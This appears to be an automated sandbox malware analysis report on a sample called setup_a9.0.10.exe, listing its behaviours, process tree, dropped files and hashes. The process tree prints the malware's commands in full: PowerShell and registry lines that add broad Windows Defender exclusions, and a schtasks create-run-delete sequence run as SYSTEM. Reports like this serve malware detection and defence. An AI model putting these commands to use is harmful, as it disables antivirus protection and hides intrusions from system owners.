Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 22:16

General

  • Target
    setup_a9.0.10.exe
  • Size 31.2MB
  • Sample260830-16ykvstsdx
  • SHA256 b72befb564705a19caa897377ff37af09b5c918bc383eda32c56889ecec09abe
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_a9.0.10.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_a9.0.10.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2392
  • C:\Users\Public\qTKtpn\EHfyF4.exe
    "C:\Users\Public\qTKtpn\EHfyF4.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qTKtpn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qTKtpn\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1872
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1276
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4868
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5284
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5644
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1196
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2728
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:240
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3528
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2748
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2304
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4484
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4396
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1640
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5604
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4372
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4720
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4520
                      • C:\Users\Public\qTKtpn\EHfyF4.exe
                        "C:\Users\Public\qTKtpn\EHfyF4.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3720
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:556
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qTKtpn" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1500
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qTKtpn" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4160
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1800
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1888
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1200
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2076

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              EHfyF4.exe

                              • Path C:\Users\Public\qTKtpn\EHfyF4.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\qTKtpn\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 d9c30bc894705c28fabc54305b72f9df07ac7579168291c12150ea530997a0a5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\qTKtpn\adoresd.dat
                              • Size 4.7MB
                              • SHA256 d7f98dc9a35471838095911392c4ba2586188dd326ae38ef55f46010b66eb339
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\qTKtpn\msadox.tb
                              • Size 8KB
                              • SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2392-1-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/2392-2-0x0000000000770000-0x000000000077C000-memory.dmp

                              memory/2392-504-0x00007FFF65FF0000-0x00007FFF66002000-memory.dmp

                              memory/2392-524-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/2392-525-0x00007FFF65FF0000-0x00007FFF66002000-memory.dmp

                              memory/2392-0-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/2908-561-0x000001C9884D0000-0x000001C98855A000-memory.dmp

                              memory/2908-563-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-536-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-538-0x00007FFF6E3E0000-0x00007FFF6E3E2000-memory.dmp

                              memory/2908-539-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-543-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-545-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-544-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-546-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-556-0x000001C9883F0000-0x000001C98843E000-memory.dmp

                              memory/2908-530-0x00007FFF6E3D0000-0x00007FFF6E3D2000-memory.dmp

                              memory/2908-559-0x000001C9884D0000-0x000001C98855A000-memory.dmp

                              memory/2908-558-0x000001C9884D0000-0x000001C98855A000-memory.dmp

                              memory/2908-560-0x000001C9884D0000-0x000001C98855A000-memory.dmp

                              memory/2908-550-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-531-0x00007FFF4B960000-0x00007FFF4BE7E000-memory.dmp

                              memory/2908-566-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/2908-565-0x000001C988EF0000-0x000001C989777000-memory.dmp

                              memory/3720-587-0x00007FFF6E3D0000-0x00007FFF6E3D2000-memory.dmp

                              memory/3720-576-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/3720-578-0x00007FFF6E3E0000-0x00007FFF6E3E2000-memory.dmp

                              memory/3720-583-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/3720-586-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/3720-585-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/3720-574-0x00007FFF4B960000-0x00007FFF4BE7E000-memory.dmp

                              memory/3720-584-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/3720-580-0x0000019655BB0000-0x0000019656437000-memory.dmp

                              memory/4420-594-0x000001BEDE960000-0x000001BEDE982000-memory.dmp

                              memory/4420-597-0x000001BEDE9B0000-0x000001BEDE9CE000-memory.dmp

                              memory/4420-598-0x000001BEDEC50000-0x000001BEDED02000-memory.dmp

                              memory/4420-599-0x000001BEDE9A0000-0x000001BEDE9AA000-memory.dmp